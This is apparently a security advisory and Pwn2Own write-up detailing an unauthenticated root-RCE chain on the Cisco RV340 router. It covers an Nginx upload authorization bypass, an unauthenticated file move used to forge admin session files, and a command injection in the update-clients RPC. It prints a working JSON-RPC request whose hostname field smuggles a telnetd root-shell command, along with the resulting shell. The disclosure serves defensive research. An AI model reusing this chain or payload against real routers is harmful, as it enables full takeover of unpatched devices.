Advisory: Cisco RV340 Dual WAN Gigabit VPN Router (RCE over LAN)

A few months ago, we took part in Pwn2Own Austin 2021. Organized by the Zero Day Initiative, the event focuses on the exploitation of vulnerabilities in phones, printers, NAS, and more – a welcomed opportunity to put our skills to the test and compete with the brightest minds in the reversing and exploitation scene.

This is the second article of a three-part series on exploit chains we submitted to Pwn2Own, focusing on our Cisco RV340 submissions. You can find our first submission write-up about the Western Digital My Cloud Pro Series PR4100 here.

When we first started looking at the device we were mostly looking for logic flaws in both software (e.g., web server CGI handlers) and configurations (e.g., Nginx configuration), a by-product of some research we released almost a year ago on authentication bypasses affecting the same product line. This turned out to be an excellent idea, even if it led to a quite convoluted exploit, chaining three different vulnerabilities to obtain remote command execution as root over the LAN interface. Read on for all the technical details!

Affected vendor & product

Vendor Advisory

Cisco RV340 Dual WAN Gigabit VPN Router (https://www.cisco.com/)

https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html

Vulnerable version 1.0.03.24 and earlier
Fixed version 1.0.03.26
CVE IDs CVE-2022-20705
CVE-2022-20708
CVE-2022-20709
CVE-2022-20711
Impact 10 (critical) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Credit Q. Kaiser, IoT Inspector Research Lab

Description

The exploit chain combines three different bugs:

  1. Unauthenticated arbitrary file upload
  2. Unauthenticated file move
  3. Unauthenticated command injection

The chain takes advantage of the first two flaws to create the following primitives:

  • Unauthenticated file move is used to get arbitrary file read
  • Unauthenticated arbitrary file upload + unauthenticated file move is used to get arbitrary file write

We use the arbitrary file write to create fake session files on the device, the arbitrary file read is used to leak necessary information to build a fake session file.

Once the fake session files are created on the device, we use our fake sessionid to trigger the authenticated command injection allowing us to execute commands as root.

Bug 1 – Unauthenticated Arbitrary File Upload

The web interface is handled by Nginx, with the configuration located under /etc/nginx. In /etc/nginx/conf.d/rest.url.conf, there is an attempt to check that some Authorization header is set.

The logic is such that any non-null Authorization header would set $deny to “0”. So, sending literally any valid-looking Authorization header as part of a request to /api/operations/ciscosb-file:form-file-upload will bypass the authorization check.

location /api/operations/ciscosb-file:form-file-upload {
    set $deny 1;
 
    if ($http_authorization != "") {
        set $deny "0";
    }

    if ($deny = "1") {
        return 403;
    }


    upload_pass /form-file-upload;
    upload_store /tmp/upload;
    upload_store_access user:rw group:rw all:rw;
    upload_set_form_field $upload_field_name.name "$upload_file_name";
    upload_set_form_field $upload_field_name.content_type "$upload_content_type";
    upload_set_form_field $upload_field_name.path "$upload_tmp_path";
    upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
    upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
    upload_pass_form_field "^.*$";
    upload_cleanup 400 404 499 500-505;
    upload_resumable on;
}

We can take advantage of this authorization bypass to write arbitrary files to the Nginx upload directory located at /tmp/upload, with files named with increasing index (e.g. /tmp/upload/0000000001, /tmp/upload/0000000002). Given that we’re unauthenticated, the upload CGI will not handle our uploaded file and the files will stay there.

Bug 2 – Unauthenticated File Move

Still looking at the Nginx configuration, there is a misconfiguration in /etc/nginx/conf.d/web.upload.conf.

As we can see in the output below, the /upload endpoint is protected but /form-file-upload is left wide open:

location /form-file-upload {
    include uwsgi_params;
    proxy_buffering off;
    uwsgi_modifier1 9;
    uwsgi_pass 127.0.0.1:9003;
    uwsgi_read_timeout 3600;
    uwsgi_send_timeout 3600;
}

location /upload {
    set $deny 1;

        if (-f /tmp/websession/token/$cookie_sessionid) {
                set $deny "0";
        }

        if ($deny = "1") {
                return 403;
        }

    upload_pass /form-file-upload;
    upload_store /tmp/upload;
    upload_store_access user:rw group:rw all:rw;
    upload_set_form_field $upload_field_name.name "$upload_file_name";
    upload_set_form_field $upload_field_name.content_type "$upload_content_type";
    upload_set_form_field $upload_field_name.path "$upload_tmp_path";
    upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
    upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
    upload_pass_form_field "^.*$";
    upload_cleanup 400 404 499 500-505;
    upload_resumable on;
}

The only thing we need to do to reach the unauthenticated endpoint without triggering any errors is to set the form fields that are set by Nginx when handing it through /upload: file.name, file.content_type, file.path, file.md5, and file.size.

The parameter of interest to us is file.path.

In upload.cgi, a prepare_file function is called. This function is supposed to move the Nginx generated temporary file to another location on disk (/tmp/upload.bin).

We control file.path that is passed as src_file, fileparam that is passed as dst_file, and pathparam that is passed as file_type.

int prepare_file(char *file_type,char *src_file,char *dst_file)
{
  int iVar1;
  size_t sVar2;
  char *destination_dir;
  char command_buffer[300];
  
  if (dst_file != 0x0 && file_type != 0x0) {
    if(strcmp(file_type,"Firmware")==0){
      destination_dir = "/tmp/firmware";
    }
    if(strcmp(file_type,"Configuration")==0){
      destination_dir = "/tmp/configuration";
    }
    if(strcmp(file_type,"Certificate")==0){
      destination_dir = "/tmp/in_certs";
    }
    if(strcmp(file_type,"Signature")==0){
      destination_dir = "/tmp/signature";
    }
    if(strcmp(file_type,"3g-4g-driver")==0){
      destination_dir= "/tmp/3g-4g-driver";
    }
    if(strcmp(file_type,"Language-pack")==0){
      destination_dir= "/tmp/language-pack";
    }
    if(strcmp(file_type,"User")==0){
      destination_dir= "/tmp/user";
    }
    if(strcmp(file_type,"Portal")==0){
      destination_dir= "/tmp/www";
    }
    else{
      return -1;
    }
    // check that source file exists
    if(is_file_exist(src_file)==0){
      return -2;
    }
    // check source and destination files lengths
    if (strlen(src_file) > 256 || strlen(dst_file) > 256) {
      return -3;
    }
    // check that destination file is valid (no command injection chars)
    if (match_regex("^[a-zA-Z0-9_.-]*$",dst_file) != 0) {
      return -4;
    }
    // we can move arbitrary files to any file in the destination dir
    sprintf(command_buffer,"mv -f %s %s/%s",src_file,pcVar3,dst_file);
    debug("cmd=%s",command_buffer);
    if (command_buffer[0] != '\0') {
      if (system(command_buffer) < 0) {
        error("upload.cgi: %s(%d) Upload failed!","prepare_file",0xb3);
        return -1;
      }
      return 0;
    }
  }
  return -1;
}

By submitting an upload request for a file type of ‘Portal’, we can move arbitrary files to /tmp/www. Once the file is copied over, we can leak its content by requesting ‘login.html‘ or ‘index.html‘ given that they are both symlinked (‘/www/login.html -> /tmp/www/login.html and ‘/www/index.html -> /tmp/www/index.html).

Note that it works because the prepare_file function is called before checking the query path value:

ret = prepare_file(file_type,src_file,dst_file);
if (ret== 0) {
  if (strcmp(query_path, "/api/operations/ciscosb-file:form-file-upload") == 0) {
    do_api_upload(__s,file_type,dst_file,local_6c);
  }
  else {
    if(strcmp(query_path,"/upload")==0){
        //some regex and length checks
        do_upload(__s,dst_file,uVar1,file_type,uVar4,local_58,local_54,local_50);
    }
  }
}

Bug 3 – Authenticated Command Injection (update-clients RPC)

The jsonrpc CGI handling all the web administration requests is configured to forward specific RPC requests to a ConfD server.

All the RPC requests are documented in /etc/confd/yang/, these RPC requests define the expected input with strong typing. The RPC name is always a valid binary or script present in the device PATH.

rpc update-clients {
        input {
            list clients {
                key mac;
                leaf mac {
                    type yang:mac-address;
                    mandatory true;
                }
                leaf hostname {
                    type string;
                }
                leaf device-type {
                    type string;
                }
                leaf os-type {
                    type string;
                }
            }
        }
    }
    augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips" {
        uses ciscosb-security-common:DEVICE-OS-TYPE;
    }
    augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs" {
        uses ciscosb-security-common:DEVICE-OS-TYPE;
    }

In this example, update-clients is actually a Perl script located at /usr/bin/update-clients. As we can see from the script excerpt below, it is vulnerable to arbitrary command injection given that parameters are passed within double quotes, allowing the injection of shell expansion or backticks.

#!/usr/bin/perl

my $total = $#ARGV + 1;
my $counter = 1;

#$mac  = "FF:FF:FF:FF:FF:FF";
#$name = "TestPC";
#$type = "Computer";
#$os   = "Windows";

foreach my $a(@ARGV)
{
    if (($counter%12) == 0)
    {
        system("lcstat dev set $mac \"$name\" \"$type\" \"$os\" > /dev/null");
    }
    elsif (($counter%12) == 4)
    {
        $mac = $a
    }
    elsif (($counter%12) == 6)
    {
        $name = $a
    }
    elsif (($counter%12) == 8)
    {
        $type = $a
    }
    elsif (($counter%12) == 10)
    {
        $os = $a
    }

    $counter++;
}

To fully understand the expected format of that JSON RPC call, we searched through the Angular based client code and found this entry:

if (d.length) {
          b.post({
            forcedUsingPost: true,
            method: 'action',
            params: { rpc: 'update-clients', input: { clients: d } },
            success: function() {
              n();
            },
            error: function(b) {
              b = (b && b.output && b.output.errstr) || '';
              app.TOOLS.criticalAlertBox({
                msg:
                  '<div>' +
                  a.DICT('Client_Statistics_RPC_Error') +
                  '</div><div>' +
                  b +
                  '</div>',
                cbk: function() {
                  C();
                },
              });
            },
          });
        }

Which led us to this reduced test case:

POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 232
Connection: close
Cookie: sessionid=Y2lzY28vMTkyLjE2OC4xLjE0MC8xOTc=;


{
  "jsonrpc":"2.0",
  "method":"action",
  "params":{
    "rpc":"update-clients",
    "input":{
      "clients": [
        {
          "hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2304)",
          "mac": "64:d1:a3:4f:be:e1",
          "device-type": "client",
          "os-type": "windows"
        }
      ]
    }
  }
}

We confirmed the injection by connecting to the newly opened telnet listener:

$ telnet 192.168.1.1 2304                                             
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

BusyBox v1.23.2 (2021-06-14 02:21:16 IST) built-in shell (ash)

/usr/bin # id
uid=0(root) gid=0(root)

We are running as root so privilege escalation won’t be required. This is due to the fact that the server receiving these YANG-based RPC calls is confd, which runs as root on the device.

Exploitation Strategy

Session Files Format

When a user logs into a Cisco RV340, the following session files are created:

/tmp
├── websession
    ├── session (json definition of current session)
    └── token
        ├── Y2lzY28vMTkyLjE2OC4xLjE0MC80ODQvCg (empty file)

The session file holds a JSON object like the one below:

{
  "max-count": 1,
  // username
  "cisco": {
    // sessionid
    "Y2lzY28vMTkyLjE2OC4xLjIvNTky": {
      "user": "cisco", // username
      "group": "admin", // user group
      "time": 592, // device uptime in seconds, obtained with sysinfo()
      "access": 1,
      "timeout": 1800, // timeout in seconds
      "leasetime": 15547943
    }
  }
}

The sessionid is a base64 encoded string of slash separated values holding username, time of emission, and source IP address:

cisco/192.168.1.2/592

Creating Fake Session Directories

With our arbitrary file move, we are limited to moving files into /tmp/www, which means we cannot immediately overwrite files located in /tmp.

To overcome that, we take advantage of symlink indirection by moving the /var directory to /tmp/www/iotinspector. The /var directory is actually a symlink to /tmp. This is the equivalent of doing this:

/ $ ls -alh | grep var
lrwxrwxrwx    1 root     root           4 Jun 13  2021 var -> /tmp
/ $ mv /var /tmp/www/iotinspector
mv: can't preserve ownership of '/tmp/www/iotinspector': Operation not permitted
mv: can't remove '/var': Permission denied

Even though we’re receiving errors, the file is created:

/tmp/www $ ls -alh
drwxr-xr-x    5 www-data www-data     240 Jul 13 10:56 .
drwxrwxrwt   37 root     root        1.6K Jul 13 10:56 ..
--snip--
lrwxrwxrwx    1 www-data www-data       4 Jul 13 10:56 iotinspector -> /tmp

Next on the list of things, we need to do, is creating our fake session directories in /tmp/www and then moving them to /tmp to create one or replace the existing one.

If we simplify it down to shell commands, this is what it looks like. The part we control is put between ‘<>’

# move websession to somewhere else, make sure it does not exist
mv </tmp/websession> /tmp/www/<whatever>
# create fake session directories by moving default empty tmp directories
mv </tmp/in_certs> /tmp/www/<websession>
mv </tmp/3g-4g-driver> /tmp/www/<token>
# upload session file and move it
mv </tmp/upload/0000000001> /tmp/www/<session>
mv </tmp/www/session> /tmp/www/<websession>
# upload token file and move it
mv </tmp/upload/0000000002> /tmp/www/<Y2lzY28vMTkyLjE2OC4xLjIvNTky>
mv </tmp/www/Y2lzY28vMTkyLjE2OC4xLjIvNTky> /tmp/www/<token>
# move token directory into the session dir
mv </tmp/www/token> /tmp/www/<websession>
# move the websession dir to /tmp using symlinks
mv </tmp/www/websession> /tmp/www/<iotinspector>

This is all possible thanks to mv moving files to directories even if the second argument does not end with a forward slash.

Identifying Uploaded Files Location

If a user has been uploading files prior to our exploit running, files may be located under the /tmp/upload directory used by Nginx. And even if there are none there, Nginx keeps a counter throughout its uptime that increases on each file upload.

When we upload a file, we don’t know at which exact location it has been written, so we need to guess that before we perform our move.

The strategy to “leak” the uploaded file location follows:

  1. Loop through potential uploaded file names from /tmp/upload/0000000001 to /tmp/upload/0000000100.
  2. For each potential file name, move it to /tmp/www/login.html
  3. Leak the content of /tmp/www/login.html by sending a GET request, hash the response and compare it to the hash of our recently uploaded file.
  4. If the hash matches, move /tmp/www/login.html back to its original location and recover the login page by moving /www/login.html.default to /tmp/www/login.html.

Crafting Fake Session Files

The cisco user is a default user that cannot be deleted and will always be part of the admin group so we can stick to that user. However, we need to handle the time and timeout values.

{
  "max-count": 1,
  // username
  "cisco": {
    // sessionid
    "Y2lzY28vMTkyLjE2OC4xLjIvNTky": {
      "user": "cisco", // username
      "group": "admin", // user group
      "time": 592, // device uptime in seconds, obtained with sysinfo()
      "access": 1,
      "timeout": 1800, // timeout in seconds
      "leasetime": 15547943
    }
  }
}

The timeout value is discarded if the file /tmp/webcache/web-session-timeout.json exists. We could move it to /dev/null and create a session file with a timeout value of 999999 but the removal of that file might trigger unknown issues.

Instead, we can leak the device uptime in seconds and use it to generate our fake session object. Leaking the uptime is really simple, we can try to move the proc uptime to the login page. This ends up overwriting the login page with the content of proc uptime at the time of reading. Then we read the login page by sending a GET request and parse the uptime value.

mv /proc/uptime /tmp/www/login.html

One issue that might be blocking is the presence of equal signs in the sessionid. The destination filename can only contain underscore, dot, and alphanumeric characters. This means that if the sessionid contains an equal sign, the move will fail.

Three parameters influence the presence of equal signs in the base64 encoded sessionid:

  • username → we can’t control it
  • source IP → we can control it, we just need to get the right DHCP lease
  • device uptime → we can’t control it
  • add a slash followed by padding characters that gets discarded when sessionid is parsed

In the end, we just used padding to remove equals sign in the base64 encoded sessionid. Equipped with that knowledge, we can craft fake session objects.

Sending Command Injection

Now that our fake session is created on the device, we can send authenticated requests to trigger the command injection bug described as Bug 3 – Authenticated Command Injection (update-clients RPC).

Running The Exploit

Cisco Rv340 LAN RCE

 

Key Takeaways

If we break it down, the fundamental issue that allowed us to exploit these vulnerabilities is a misunderstanding of Nginx configurations. These kinds of misconfigurations have been mostly identified in large web applications since Orange Tsai released its excellent research on breaking parsers logic, but they can also affect embedded devices running web servers! We can only advise researchers in that space to review the configuration of any web server they may find in their way for potential authentication bypasses.

The command injection vulnerability could be considered as a “second order” injection in that the attacker has to understand the inner relationship between ConfD, its configuration files, and the scripts it’s linked to. For researchers focusing on devices relying on ConfD, it could be interesting to develop scripts identifying RPC endpoints definitions with loosely typed inputs calling insecure scripts (Perl, Lua, shell, etc.) 🙂

We hope that these ideas for further research will help you during your next endeavor if you’re interested in Cisco devices.

Timeline

2021-11-03 – Vulnerability reported to vendor
2022-02-02 – Cisco release its advisory
2022-02-17 – IoT Inspector release its advisory

About ONEKEY

ONEKEY (formerly IoT Inspector) is the leading European platform for automated security & compliance analysis for industrial (IIoT & ICS), manufacturing (OT) and Internet of Things (IoT) devices. Using automatically generated “Digital Twins” and “Software Bill of Materials (SBOM)” of devices, ONEKEY autonomously analyzes firmware for critical security vulnerabilities and compliance violations, all without source code, device, or network access. Vulnerabilities for attacks and security risks are identified in the shortest possible time and can thus be specifically remedied. Easily integrated into software development and procurement processes, the solution enables manufacturers, distributors, and users of IoT technology to check security and compliance quickly and automatically before use and 24/7 throughout the product lifecycle. Leading companies such as SWISSCOM, VERBUND AG and ZYXEL are using this platform today – universities and research institutions can use the ONEKEY platform for study purposes free of charge.

CONTACT:

Sara Fortmann

Marketing Manager

sara.fortmann@onekey.com

 

euromarcom public relations GmbH

+49 611 973 150

team@euromarcom.de

Share on facebook
Share on twitter
Share on pinterest
Share on linkedin
Share on xing
Share on email